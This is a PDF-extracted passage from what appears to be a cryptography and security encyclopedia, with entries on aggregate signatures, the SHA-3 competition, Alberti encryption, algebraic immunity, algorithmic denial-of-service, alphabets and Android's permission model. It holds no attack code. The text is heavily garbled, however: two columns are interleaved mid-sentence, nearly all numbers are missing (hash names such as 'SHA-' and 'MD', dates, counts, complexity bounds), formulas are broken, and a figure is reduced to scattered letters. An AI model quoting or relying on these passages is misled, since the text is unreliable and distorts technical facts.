called parallel aggregate signatures since aggregation hap- oracles. In: Vaudenay S (ed) Proceedings of EUROCRYPT ,
St. Petersburg, May June . Lecture notes of computer
pens all at once after all the individual signatures are science, vol . Springer, Berlin, pp
generated. Known constructions for parallel aggregate sig- . Boneh D, Gentry C, Lynn B, Shacham H () A survey of two
natures [] are based on BLS signatures built from bilin- signature aggregation techniques. CryptoBytes ():
ear maps.
Applications
Aggregate signatures are designed to reduce the length of AHS Competition/SHA-
digital signatures in applications that use multiple sig-
natures. For example, consider a certificate chain contain-
Bart Preneel
ing n certificates signed by different certificate authorities.
Department of Electrical Engineering-ESAT/COSIC,
The chain contains n signatures on n messages each issued
Katholieke Universiteit Leuven and IBBT,
by a different signer. Aggregate signatures let anyone aggre-
Leuven-Heverlee, Belgium
gate these n signatures into a single signature whose length
is the same as a signature on a single message. This shortens
the overall length of the certificate chain.
Synonyms
Advanced hash competition
In some applications, the full power of parallel aggre-
gation is not needed. Instead, a weaker form of aggrega- Related Concepts
tion called sequential aggregation is sufficient. In sequential Hash Functions
aggregation, the signers sign messages one after the other.
Signer number i takes as input the aggregate signature from Denition
signer number i and adds a signature on message mi to The AHS competition () is an open international
the aggregate. The resulting aggregate signature is given to competition organized by NIST (National Institute of
A AHS Competition/SHA-
Standards and Technology, USA) to select a new crypto- mid-September , several of these algorithms have
graphic hash function SHA-. been tweaked, which means that small modifications have
been made that should not invalidate earlier analysis. The
Background majority of these designs use an iterated approach or a
Even if there had been several early warnings about the variant thereof: four Round candidates (Blue Midnight
limited security margins offered by the widely used hash Wish, Grstl, Shabal, and SIMD) use a modification of
functions such as MD [, ] and SHA- [], the break- the Merkle-Damgrd construction with a larger internal
through collision attacks made by Wang et al. [] in memory, also known as a wide-pipe construction, and
and took most of the security community by three use the HAIFA approach [] (Blake, ECHO, and
surprise, and resulted in a hash function crisis. On the SHAvite-). Five candidates (CubeHash, Fugue, Hamsi,
other hand, no flaws had been found in the NIST standard Keccak, and Luffa) use a (variant of a) sponge construc-
algorithms SHA- []. However, the new cryptanalytic tion []. Several designs (ECHO, SHAvite-, Fugue, and
results on SHA- raised some doubts on the robustness of Grstl) employ AES-based building blocks; the first two
these functions, which share some design principle with benefit substantially from the AES instructions that are
SHA-. After several years, NIST decided to start a new offered in the Intel Westmere processor (see [] for
open competition to select a new hash function standard, details). The hash functions Blue Midnight Wish, Cube-
the SHA- algorithm. Hash, Blake, and Skein are of the ARX (Addition, Rotate,
XOR) type; similar to MD, SHA- and SHA-, they
Applications derive their nonlinearity from the carries in the modular
After two open workshops and a public consultation addition.
period, NIST decided to published on November , About half the Round candidates originate from
an open call for contributions for SHA-, a new cryp- Europe, one third from North America, and one in six from
tographic hash family []. The deadline for the call for Asia; two designs are from the Southern Hemisphere. Note
contributions was October , . A SHA- submission that this is only an approximation as some algorithms have
needs to support hash results of , , , and designers from multiple components and some designers
bits to allow substitution for the SHA- family. It should have moved. A very large part of the Round cryptanalysis
work with legacy applications such as DSA and HMAC. was performed by researchers in Europe. In Round , out
Designers should present detailed design documentation, of (%) of the designs are European, while are from
including a reference implementation, optimized imple- North America and from Asia.
mentations for -bit and -bit machines; they should Two designs were expected for Round but did not
also evaluate hardware performance. If an algorithm is make it. MD by Rivest was probably not selected because
selected, it needs to be available worldwide without royal- of the slower performance; moreover, an error was found
ties or other intellectual property restrictions. The security by the designer in the proof of security against differen-
requirements list preimage and second preimage resis- tial attacks. Lane was probably removed because of the
tance, collision resistance, and resistance to length exten- rebound attack on its compression function in []. This
sion attacks. The performance requirement was that the new attack has emerged during the first two rounds of the
function should be faster than SHA-. competition as a very powerful cryptanalytic tool that is
Even if preparing a submission required a substan- effective against (reduced round versions of) a very large
tial effort, NIST received submissions. Early Decem- number of cryptographic hash functions.
ber , NIST has announced that designs have been Two designs in Round had remarkable security
selected for the first round. Five of the rejected designs results: SWIFFT admits an asymptotic proof of security
have been published by their designers (see []); it is against collision and preimage attacks under worst-case
perhaps not surprising that four of these five designs have assumptions about the complexity of certain lattice prob-
been broken very quickly. From the Round candidates, lems; the collision and preimage security of FSE can be
about half were broken in early July . This illustrates reduced to hard problems in coding theory. However, both
that designing a secure and efficient hash function is a designs are rather slow; moreover, they require additional
challenging task. building blocks to achieve other security properties.
On July , , NIST announced that algorithms It is notably difficult to make reliable performance
have been selected for Round , namely, Blake, Blue Mid- comparisons; all the Round candidates have a speed
night Wish, CubeHash, ECHO, Fugue, Grstl, Hamsi, JH, that varies between and cycles per byte. It should be
Keccak, Luffa, Shabal, SHAvite-, SIMD, and Skein. By pointed out that due to additional implementation efforts,
Alberti Encryption A
the best current SHA- implementations have a speed Washington, DC (Change notice published on December ,
of cycles/byte; it will thus become more difficult )
. Matusiewicz K, Naya-Plasencia M, Nikolic I, Sasaki Y,
for SHA- to be faster than SHA-. Extensive work has
been performed on hardware performance; one remark-
Schlffer M () Rebound attack on the full lane compression A
function. In: Matsui M (ed) Advances in cryptology, proceed-
able observation is that the conclusions from FPGA and ings Asiacrypt. LNCS . Springer, Berlin, pp
ASIC implementations are not identical. The reader is . NIST SHA- Competition, http://csrc.nist.gov/groups/ST/hash/
referred to the SHA- Zoo and eBASH for security and . Rivest RL () The MD message-digest algorithm. Request
for Comments (RFC) , Internet activities board, Internet
performance updates; these sites are maintained by the
Privacy Task Force, April
ECRYPT II project []. . Wang X, Yin YL, Yu H () Finding collisions in the full
On December , , NIST announced the five final- SHA-. In: Shoup V (ed) Advances in cryptology, proceedings
ists: Blake, Grstl, JH, Keccak, and Skein. The third and Crypto. LNCS . Springer, Berlin, pp
final conference will take place in early ; it will be fol- . Wang X, Yu H () How to break MD and other hash func-
tions. In: Cramer R (ed) Advances in cryptology, proceedings
lowed by an announcement of the decision by mid-.
Eurocrypt. LNCS . Springer, Berlin, pp
Several designs were further tweaked before the finals. . Wang X, Yu H, Yin YL () Efficient collision search attacks
There is a broad consensus that these are five solid designs on SHA-. In: Shoup V (ed) Advances in cryptology, proceed-
with a good security margins. There is sufficient diversity, ings Crypto. LNCS . Springer, Berlin, pp
in terms of using the building blocks, the iteration, and the
general design philosophy.
Overall, it seems that the final decision will be
extremely challenging. As a consequence of this competi- Alberti Encryption
tion, both the theory and practice of hash functions will
make a significant step forward. Friedrich L. Bauer
Kottgeisering, Germany
Recommended Reading
. Benadjila R, Billet O, Gueron S, Robshaw MJB () The Intel
AES instructions set and the SHA- candidates. In: Matsui M Related Concepts
(ed) Advances in cryptology, proceedings Asiacrypt . LNCS Encryption; Symmetric Cryptosystem
. Springer, Berlin, pp
. Bertoni G, Daemen J, Peeters M, Van Assche G () On the Denition
indifferentiability of the sponge construction. In: Smart N (ed)
Advances in cryptology, proceedings Eurocrypt. LNCS .
Alberti encryption is a polyalphabetic encryption with
Springer, Berlin, pp shifted, mixed alphabets.
. Biham E, Dunkelman O () A framework for iterative hash
functions HAIFA. In: Proceedings second NIST hash functions
workshop , Santa Barbara (CA), USA Z a b
. den Boer B, Bosselaers A () Collisions for the compres- y c
sion function of MD. In: Helleseth T (ed) Advances in cryp- x C D E d
B F
tology, proceedings Eurocrypt. LNCS . Springer, Berlin,
A
G
w
pp
. Chabaud F, Joux A () Differential collisions: an explana-
H
Z
f
v
tion for SHA-. In: Krawczyk H (ed) Advances in cryptology,

Y
proceedings Crypto. LNCS . Springer, Berlin, pp

. Dobbertin H () The status of MD after a recent attack.
g
u
J K
CryptoBytes ():
. ECRYPT II, The SHA- Zoo, http://ehash.iaik.tugraz.at/wiki/
V W
h
t
The_SHA-_Zoo
L
. FIPS () Data encryption standard. Federal informa-

s
tion processing standard, NBS, U.S. Department of Commerce,

M
U
(revised as FIPS - (); FIPS - (), FIPS - ()) N

j
r
. FIPS - () Secure hash standard. Federal information T

S O
processing standard (FIPS), publication -. National insti- q Q R P k
tute of standards and technology, US department of commerce, l
p
Washington, DC o m
n
. FIPS - () Secure hash standard. Federal information
processing standard (FIPS), publication -. National insti-
tute of standards and technology, US Department of Commerce, Alberti discs
A Alberti Encryption
As an example, let the mixed alphabet be given by:
Plaintext a b c d e f g h i j k l m n o p q r s t u v w x y z
Ciphertext B E K P I R C H S Y T M O N F U A G J D X Q W Z L V
or, reordered for decryption:
Plaintext q a g t b o r h e s c y l n m d v f i k p z w u j x
Ciphertext A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Modifying accordingly, the headline of a Vigenre table (Vigenre Cryptosystem) gives the Alberti table:
q a g t b o r h e s c y l n m d v f i k p z w u j x
A A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
An encryption example with the keytext GOLD of length is:
Plaintext m u c h h a v e i t r a v e l l e d
Keytext G O L D G O L D G O L D G O L D G O
Ciphertext U L V K N P B L Y R R E W W X P O D
Algebraic Immunity of Boolean Functions A
Recommended Reading that f g = h (where f g denotes the Hadamard product of f

. Bauer FL () Decrypted secrets. In: Methods and maxims of and g, whose support is the intersection of the supports of
cryptology. Springer, Berlin f and g), we have, for every i:
A
si g(L Li (u , , uN )) = h(L Li (u , , uN )).
Algebraic Immunity of Boolean
Functions This equation in u , , uN has degree at most d, since L
and L are linear, and if d is small enough, the system of
Claude Carlet
equations obtained after linearization can then be solved
Dpartement de mathmatiques and LAGA, Universit
by Gaussian elimination.
Paris , Saint-Denis Cedex, France
Low degree relations have been shown to exist for sev-
eral well known constructions of stream ciphers, which
Synonyms were immune to all previously known attacks.
Resistance to the standard algebraic attack It is a simple matter to see that the existence of func-
tions g and h, of degrees at most d, such that fg = h is
Related concepts equivalent to the existence of a function g of degree at
Boolean Functions; Stream Ciphers; Symmetric Cryp- most d such that fg = or (f )g = . A function g such
tography that fg = is called an annihilator of f .
The minimum degree of g such that fg = (i.e.,
Denition such that g is an annihilator of f ) or (f )g = (i.e., such
Parameter of a Boolean function quantifying its resistance that g is a multiple of f ) is called the (standard) algebraic
to algebraic attacks immunity of f and denoted by AI(f ). This important char-
acteristic is an affine invariant. It is shown in [] that the
Background algebraic immunity of any n-variable function is bounded
Boolean functions above by n/.
The complexity of the algebraic attack is in
AI(f )
Theory O ((i= (Ni )) ) operations, where is the expo-
A new kind of attacks, called algebraic attacks, has been nent of the Gaussian reduction and AI(f ) is the alge-
introduced recently (see [, ]). In both the combiner braic immunity of the filter function, and it needs about
AI(f ) N
and the filter model of a pseudo-random generator in i= ( i ) bits of the keystream. More specifically, taking
a stream cipher, there exists a linear permutation L : for f an n-variable function with algebraic immunity n/,
FN FN , a linear mapping L : FN Fn and an n- the complexity of an algebraic attack using one annihilator
.
variable combining or filtering Boolean function f such N N
that, denoting by u , , uN the initialisation of the linear of degree n/ is roughly (( ) + + ( )) (see
n/
part of the pseudo-random generator and by (si )i the []). If the secret key has length (which is usual) and N
pseudo-random sequence output by it, we have, for every i: equals (the double, for avoiding time-memory trade-
off attacks), then the complexity of the algebraic attack is at
si = f (L Li (u , , uN )).
least (which is considered nowadays as a just sufficient
The general principle of algebraic attacks is to try solv- complexity) for n ; and it is greater than the complexity
ing the system of such equations (corresponding to some of an exhaustive search, that is in average, for n .
known bits of the pseudo-random sequence). The num- This is why the number of variables of Boolean functions
ber of equations can be much larger than the number N of had to be increased because of algebraic attacks.
unknowns. This makes less complex the resolution of the A few functions with optimal algebraic immunity
system by using Groebner basis, and even allows lineariz- (such as the majority function) have been found but have
ing the system (replacing every monomial of degree greater bad nonlinearities. Recently, an infinite class of balanced
than by a new unknown). The resulting linear system has functions with provably optimal algebraic immunity, opti-
however too many unknowns in practice and cannot be mal algebraic degree and much better nonlinearity has
solved when the algebraic degree of f is large enough. But been found []. The nonlinearity computed for small val-
Courtois and Meier observed that if there exist functions ues of the number of variables and the resistance to fast
g and h of low degrees (say, of degrees at most d) such algebraic attacks (see below) checked by computer seem to
A Algebraic Number Field
show that the function is good for use in stream ciphers but . Courtois N, Meier W () Algebraic attacks on stream ciphers
this has to be confirmed mathematically. with linear feedback. In: Proceedings of EUROCRYPT ,
Lecture notes in computer science, vol , pp
A high value of AI(f ) is not a sufficient property for a
. Fischer S, Meier W () Algebraic immunity of S-boxes and
resistance to all algebraic attacks, because of fast algebraic augmented functions. In: Proceedings of Fast Software Encryp-
attacks, which work if one can find g of low degree and tion , Lecture notes in computer science, vol . Springer,
h of reasonable degree such that fg = h, see []. When Berlin, pp
d g + d h n, there always exist g of degree at most e and . Rnjom S, Helleseth T () A new attack on the filter generator.
IEEE Trans Inf theory ():
h of degree at most d such that fg = h. Note however that
fast algebraic attacks need more data than standard ones.
The pseudo-random generator must also resist alge-
braic attacks on the augmented function [], that is (con-
sidering now f as a function in N variables, to sim- Algebraic Number Field
plify description), the vectorial function F(x) whose
output equals the vector (f (x), f (L(x)), , f (Lm (x))). Number Field
Algebraic attacks can be more efficient when applied to
the augmented function rather than to the function f
itself.
Finally, a powerful attack on the filter generator has Algorithmic Complexity Attacks
been introduced by S. Rnjom and T. Helleseth in [],
which also adapts the idea of algebraic attacks, but in a Algorithmic DoS
different way. The complexity of the attack is in about
i= ( i ) operations, where d is the algebraic degree of the
d N
filter function and N is the length of the LFSR. It needs

about di= (Ni ) consecutive bits of the keystream output Algorithmic DoS
by the pseudo-random generator. Since d is supposed to
be close to the number n of variables of the filter function, Scott Crosby, Dan Wallach
the number di= (Ni ) is comparable to (Nn ). Since AI(f ) Department of Computer Science, Rice University,
is supposed to be close to n/, Denoting by C the com- Houston, TX, USA
plexity of the Courtois-Meier attack and by C the amount
of data it needs, the complexity of the Rnjom-Helleseth Synonyms
attack roughly equals C/ and the amount of data it needs Algorithmic complexity attacks
is roughly C . From the viewpoint of complexity, it is more

efficient and from the viewpoint of data it is less efficient. Denition

A low-bandwidth denial-of-service attack that forces the
algorithms of a victim program to exhibit their worst-case
Open problems
performance.
Prove that the function from [] has good nonlinearity
and good resistance to fast algebraic attacks
Background
Find (other) infinite classes of balanced Boolean func-
When analyzing the running time of algorithms, a com-
tions provably achieving optimal algebraic immunity,
mon technique is to differentiate the average-case and
high algebraic degree, good nonlinearity and good
worst-cast performance. If an attacker can control and pre-
resistance to fast algebraic attacks
dict the inputs being used by these algorithms, then the
attacker may be able to induce the worst-case behavior,
Recommended Reading effectively causing a denial-of-service (DoS) attack [].
. Carlet C, Feng K () An infinite class of balanced func- Algorithmic DoS attacks have much in common
tions with optimum algebraic immunity, good immunity to fast with other low-bandwidth DoS attacks, wherein a rela-
algebraic attacks and good nonlinearity. In: Proceedings of ASI- tively short message causes an Internet server to crash
ACRYPT , Lecture notes in computer science, vol .
or misbehave. However, unlike buffer overflow attacks,
Springer, Heidelberg, pp
. Courtois N () Fast algebraic attacks on stream ciphers with
attacks that target poorly chosen algorithms can function
linear feedback. In: Proceedings of CRYPTO , Lecture notes even against code written in safe languages or otherwise
in computer science, vol , pp carefully written. In many of these attacks, an attacker
Alphabet A
can precompute the worst-case input to a program and against a system such as a network intrusion detection sys-
reuse it on many vulnerable systems. Algorithmic com- tem (NIDS), could knock the NIDS off the air, allowing
plexity attacks have a broad scope because they attack the other attack traffic to pass through undetected.
algorithms used in a program.
A
Solutions
Theory The obvious solution to algorithmic complexity attacks
There are many data structures that have different typical- is choosing algorithms with good worst-case perfor-
case and worst-case processing times. mances. An alternative, chosen by several regular expres-
For instance, hash tables typically consume O(n) time sion libraries, is to have resource limits and abort when
to insert n elements. However, if each element hashes to the processing takes too long.
same bucket, the hash table will degenerate to a linked list, Hash tables or Bloom filters can be protected by choos-
and it will take O(n ) time to insert n elements. When vul- ing a keyed hash function, where the key is chosen ran-
nerable hash functions are used as part of a language run- domly and not known to the attacker. This prevents an
time such as Java or Python, the attack surface can apply attacker from knowing the set of inputs that causes hash
to many programs implemented in these languages. When collisions. Unkeyed cryptographic hash functions are not
a malicious input is chosen, performance can degrade by a solution as they may be brute-forced to find inputs that
a factor of , or more when attackers can feed tens of collide into the same hash table bucket.
thousands of keys to a vulnerable program.
Bloom filters are a probabilistic data structure for Applications
tracking set membership []. They have been used for con- Although many algorithms have different typical case and
nection tracking in intrusion detection systems. In the worst-case behaviors, hash tables are among the most com-
average case, they have a very low error rate on random mon such data structure. They are used in filesystem imple-
inputs, but when an attacker can choose the inputs to the mentations, intrusion detection systems, web applications,
Bloom filter, the error rate may be much higher. and the runtimes of many scripting languages.
Regular expressions are widely used as a simple way
of parsing textual data. Many regular expression libraries
Recommended Reading
. Crosby S, Wallach D () Denial of Service via algorithmic
perform matches with a backtracking matching algorithm complexity attacks. Proceedings of the th USENIX Security
instead of a DFA (deterministic finite automaton) or NFA Symposium. Washington, DC
(nondeterministic finite automaton). In the average case, . Bloom BH () Space/time trade-offs in hash coding with
a backtracking matcher is faster and offers more features allowable errors. Commun ACM ():
than an NFA or DFA. In the worst case, a backtracking . Smith R, Estan C, Jha S () Backtracking algorithmic com-
plexity attacks against a NIDS. Proceedings of the nd Annual
matcher may take exponential time []. Computer Security Applications Conference. Miami, Florida
Worst-case inputs on other algorithms have been . Probst CW, Gal A, Franz M () Average case vs. worst case:
devised, such as attacks on Java bytecode verifiers, regis- margins of safety in system design. Proceedings of the Work-
ter allocation algorithms in just-in-time compilers [], and shop on New Security Paradigms. Lake Arrowhead, California
Quicksort []. . McIlroy MD () A killer adversary for Quicksort. Software
Pract Exp ():
Impact
As with any DoS attack, the attackers goal in an algo-
rithmic complexity attack is to knock a computer off the
network by sending it crafty network packets. While a Alphabet
buffer overflow might cause the computer to crash, an
algorithmic DoS attack instead causes the CPU to spend Friedrich L. Bauer
excessive time doing what were intended to be simple tasks. Kottgeisering, Germany
In any modern networked computer, excessive CPU
usage will cause the computer to be too busy to accept new Related Concepts
packets from the network. Eventually, the memory buffers Encryption; Symmetric Cryptosystem
in the network card or the operating system kernel will
become full, yet the application will be too busy to read Denition
new packets. Consequently, packets will be dropped. In An alphabet is a set of characters (literals, figures, and other
this fashion, an algorithmic complexity attack, mounted symbols) together with a strict ordering (denoted by <) of
A Androids Security FrameworkUnderstanding the Security of Mobile Phone Platforms
this set. For good reasons, it is usually required that a set of The technical utilization of the binary alphabet Z goes
alphabetic characters has at least two elements and that it back to Jean Maurice mile Baudot, ; at present, one
is finite. An alphabet Z of n elements is denoted by Zn , the mainly uses quintuples and octuples of binary digits (called
order is usually the one of the listing. bytes).
The alphabet of m-tuples formed by elements of Zn and
Background ordered lexicographically is denoted by Zm n : Z = Z

Z = {a,b,c, . . ., x,y,z} is the common alphabet of Latin (teletype alphabet or CCIT code), its cryptographic use
letters of present days. In former times and cultures, the goes back to Gilbert S. Vernam, .
Latin letter alphabet was smaller, so A = Z (bytes alphabet), IBM ca. (crypto-
graphic use by Horst Feistel, ).
Z = Z / {j, k, w, x, y} in Italian until about Note that from a mathematical point of view, Z ={, ,
Z = Z / {k, w} in Spanish until about , . . . , } is not the same as Z ={(), (), (),
Z = Z / {w} in French and Swedish until about (), (), . . . , ()}. Of course, these two sets have
In the Middle Ages, following the Latin tradition, the same cardinality, but arithmetically that does not make
letters seem to have been enough for most writers them the same. This can be seen from the way addition is
(with v used for u), defined for the elements of Z and Z ; while in Z arith-
metic is done modulo , in Z every element added to
Z = Z /{j, k, u, w, x, y}. itself gives ().
The following alphabets are mentioned:
Sometimes, mutated vowels and consonants like , , , Standard alphabet: An alphabet listed in its regular
(German), , (French), , (Scandinavian), (Polish), c, order
e, r, , (Czech) occur in literary texts, but in cryptography Mixed alphabet: Standard alphabet listed in some per-
there is a tendency to suppress or transcribe them, i.e., to muted order
avoid diacritic marks. Reversed alphabet: Standard alphabet listed in some
The (present-day) Cyrillic alphabet has letters (dis- backwards order
regarding ): Shifted alphabet: Standard alphabet listed with a
cyclically shifted order
A vocabulary is a set of characters (usually a standard
alphabet), or of words, and/or phrases (usually alphabet-
ically ordered), used to formulate the plaintext (plain-
text vocabulary) or the ciphertext (ciphertext vocabulary)
A set of m-tuples formed by elements of some set V (Cryptosystem).
is denoted by V m . If Z is an alphabet, Z m has usually the
lexicographic order based on the order of Z. Recommended Reading
In mathematics and also in modern cryptogra- . Bauer FL () Decrypted secrets. In: Methods and maxims of
cryptology. Springer, Berlin
phy, the denotation Zn is usually reserved for the set
{, , , . . ., n }. It makes arithmetic modulo n possible
(Modular Arithmetic). Of course, Z = {a,b,c, . . . , x,y,z}
can and often will be identified with Z . Androids Security
The following number alphabets are of particular his-
torical interest:
FrameworkUnderstanding
the Security of Mobile
Z = {, , , . . . , } (denary alphabet) with < < < Phone Platforms
. . . < .
Z = {, , , } (quaternary alphabet) with < < < William Enck
(Alberti, ). Department of Computer Science and Engineering, The
Z = {, , } (ternary alphabet) with < < Pennsylvania State University, University Park, PA, USA
(Trithemius, ).
Z = {, } (binary alphabet) with < (Francis Bacon, Denition
). An element from Z is called bit, from bi(nary The Android Smartphone platform is a product of the
digi)t. Google-led Open Handset Alliance (OHA) designed to be
Androids Security FrameworkUnderstanding the Security of Mobile Phone Platforms A
open and customizable []. It enforces a permission-based interact using a message primitive called an intent. While
security policy composed of individual policies specified intent messages can explicitly address a specific compo-
by system and third-party applications. nent in a specific application by name, intent versatility is
Circa the mid to late s, improved hardware and more apparent for implicit addresses. When intent mes-
A
cellular network technologies provided the base for afford- sages are addressed with implicit action strings (which
able and widespread adoption of advanced mobile phones semantically equate to a particular action that is occur-
commonly referred to as smartphones. Smartphones are ring), the middleware automatically resolves how to handle
often characterized by their ability to run downloaded the event, potentially prompting the user. For example,
third-party software, in contrast to the similar feature- an email client can specify the view action string for a
phones, which do not. The Android smartphone plat- PDF attachment, and the preferred PDF viewer will be
form was officially released in October . It quickly automatically started. Using this mechanism, third-party
became popular amongst the developer community for its developers can use, extend, and replace Androids core
open source nature and adoption by telecommunications functionality.
providers worldwide. Application components are divided into four types.
The OHA designed Android to be open and customiz- Each type serves a specific purpose and helps develop-
able (all applications are created equal). While Android ers construct consistent applications. Activity components
is based on Linux, the middleware presented to application interface with the user via the touchscreen and key-
developers hides traditional operating systems abstrac- pad. Typically, each displayed screen within an applica-
tions. The platform itself focuses on applications, and tion is a different activity. Only one activity is active at a
much of the core phone functionality is implemented as time, and processing is suspended for all other activities,
applications in the same fashion used by third-party devel- regardless of the application. Service components provide
opers. Arguably the largest conceptual difference between background processing for use when an applications activ-
Android and similar smartphone operating systems is its ities leave focus (e.g., for downloading a file or playing
encouragement for applications to communicate and work audio). Services can also export Remote Procedure Call
together, whereas other platforms effectively assume appli- (RPC) interfaces including support for callbacks. Broad-
cations run in isolation. This design choice significantly cast receiver components provide a generalized mecha-
impacts both functionality and security. nism for asynchronous event notifications. Traditionally,
broadcast receivers receive intents implicitly addressed
Application Model with action strings. The designated action string names the
Android applications are primarily written in Java and event. Android defines many such standard events, includ-
compiled into a custom byte-code (DEX). The Dalvik Vir- ing boot completed and SMS received. Finally, content
tual Machine interpreter was built specifically for Android provider components are the preferred method of shar-
and optimizes both CPU and memory performance. It pro- ing data between applications. The content provider API
vides access to most JSE functionality as well as a rich implements an SQL-like interface; however, the backend
set of multimedia and utility libraries from third-party implementation is left to the application developer. The
sources. While developers are encouraged to construct API includes support to read and write data streams, e.g.,
applications in Java, an official Native Development Toolkit if content provider shares files. Unlike the other compo-
(NDK) is available. However, the NDK sacrifices device nent types, content providers are not addressed via intents,
portability and is primarily seen as a last resort to gain rather, a content Uniform Resource Identifier (URI)
runtime performance. Fortunately, the Android middle- of form content://authority/table/[id] is
ware provides Java interfaces to bundled native libraries used. Here, authority is a unique string that identifies
such as OpenGL, which can be managed with each phones the content provider and id is an optional field to uniquely
firmware distribution. identify a record. Fully specified content URIs are com-
The Android middleware ostensibly removes the pro- monly passed between applications similar to file paths in
cess abstraction found in traditional operating systems. traditional operating systems.
Instead, applications are designed as a collection of com-
ponents. That is, the Application Programming Interface Security Framework
(API) for component interaction is the same regardless of Android implements security mechanisms at multiple lev-
whether or not the two components are running in the els. We begin by discussing security with respect to the
same or different processes managed by the underlying underlying Linux system. We then described the security
Linux operating system. For the most part, components framework provided in the middleware.
A Androids Security FrameworkUnderstanding the Security of Mobile Phone Platforms
System Permissions A permission with the protection level of dangerous is

Androids system-level configuration applies well-known always granted if the application is installed; however, it is
techniques for securing UNIX-based hosts. First, the dis- prominently displayed in a warning message with all other
tribution only contains a small subset of the tools and dangerous permissions. Essentially, the dangerous pro-
libraries traditionally found in a Linux system. This sub- tection level is used to ensure user confirmation. Finally,
stantially reduces the attack surface, and only two root- the signature protection level influences permission grant-
owned files are installed with the setuid bit applied (ping ing without user input. Each application package is signed
and netcfg). Second, system daemons are run as sep- by a developer key (as is the package file containing the
arate, non-root user identities. Third, each application framework and OS defined permission labels). A permis-
executes as its own unique user identity. This prevents sion label assigned the signature protection level is only
(with few exceptions) applications from reading and writ- granted if the application requesting it has been signed
ing each others files. Finally, applications (and significant by the same developer key that signed the package defin-
portions of phone functionality libraries) are primarily ing the permission label. This functionality is particularly
written in Java, a type-safe language, and hence avoid many valuable for OS-defined permissions that protect low level
common programming vulnerabilities such as buffer over- and core functionality within the middleware. By using the
flows. These simple configuration choices have proved very signature protection level, the OS ensures that only appli-
effective at containing damage inflicted by public Android cations distributed by the OS vendor are granted access.
exploits and kept the attacker from obtaining privileged Note that there is a fourth protection level called signa-
access. ture or system, which carries the same semantics as the
signature protection level with the addition of allowing
Application Permissions the corresponding permission to special system partition,
While applications are prohibited from performing tra- or signed with the firmware key. However, this protection
ditional UNIX Inter-Process Communication (IPC) with level exists for purely legacy purposes.
each other, Android provides interaction via binder. The The permission label policy model is also used to pro-
binder IPC mechanism (originally developed for BeOS) tect applications from each other. For the most part, per-
provides the foundation for the component-based OS mission label security policy is defined in an applications
abstraction described above. All applications send and package manifest. As previously mentioned, the manifest
receive data via input/output controls (ioctls) on the spe- specifies the permission labels corresponding to the appli-
cial device file /dev/binder. The binder kernel module cations functional requirements. The package manifest
initially directs all communication to a process man- also specifies a permission label to protect each applica-
ager (the activity manager service in Android) where the tion component (e.g., activity, service, etc). Put simply, an
application-level permission framework is enforced. application may initiate IPC with a component in another
Androids application-level security framework is based (or the same) application if it has been assigned the permis-
on permission labels. A permission label is simply a unique sion label specified to restrict access to the target component.
text string that can be defined by both the OS and third- Using this policy, application developers can specify how
party developers. The base Android distribution defines other applications access its components. Note that the
many permission labels. From an OS-centric perspective, same normal, dangerous, and signature types apply to
applications are statically assigned permission labels indi- permission labels defined by the application developer.
cating the sensitive interfaces and resources that it can There are many subtleties when working with or ana-
access at run time. That is, the set of permission labels lyzing Android security policy. First, not all policy is spec-
assigned to an application cannot grow after installation. ified in the manifest file. Developers can define receive
Application developers specify a list of permission labels permissions when broadcasting intents. That is, when an
the application requires in its package manifest; however, intent is broadcasted, a broadcast receiver can only receive
requested permissions are not always granted. the intent if the application containing it is assigned the
Permission label definitions are distributed across the permission label specified in the broadcast. Developers can
framework and package manifest files. Each permission also include permission label checks at arbitrary locations.
label definition includes a protection level field. The pro- This feature is commonly used to privilege separate a ser-
tection level can be either normal, dangerous, or sig- vice components RPC interfaces. Second, if the developer
nature. When an application is installed, the protection does not list a permission label to protect a component,
level of all requested permissions is consulted. A permis- any application can perform IPC with it (i.e., the policy
sion with the protection level of normal is always granted. is default allow). However, this situation only occurs if
Anonymity A
the component is public. Private components (designated

so explicitly by the developer or implicitly by Android- Anomalous Binary Curves
specific rules) can only by accessed by components in the
same application. Third, content providers have separate Koblitz Elliptic Curves
A
read and write restrictions. Fourth, applications can del-
egate access by passing pending intent objects to other
applications. The recipient application can complete any
unspecified data and address fields and determine the time Anonymity
of execution on behalf of the application that created the
pending intent. Fifth, in certain situations, an application Gerrit Bleumer
can delegate its access to subparts (e.g., records) of a con- Research and Development, Francotyp Group,
tent provider. Note that these last two subtleties add dis- Birkenwerder bei Berlin, Germany
cretion to an otherwise mandatory access control (MAC)
system. Related Concepts
Pseudonymity; Unlinkability; Untraceability
Open Problems
The granularity of permissions and enforcement has risen Denition
as a difficulty for the Android platform. Barrera et al. Anonymity is the concept of being indistinguishable
[] study the permissions requested by applications and from others who perform the same or similar actions as
discuss how some permissions should be divided, while oneself.
others should be combined. Careful trade-offs must be
made when deciding permission granuarity, as too many Theory
permissions may overwhelm the user. In a related issue, Anonymity of an individual is the property of being
security experts have argued that Androids all or nothing indistinguishable from other individuals in a certain
permission granting does not provide sufficient flexibility respect. On the Internet, individuals may seek anonymity
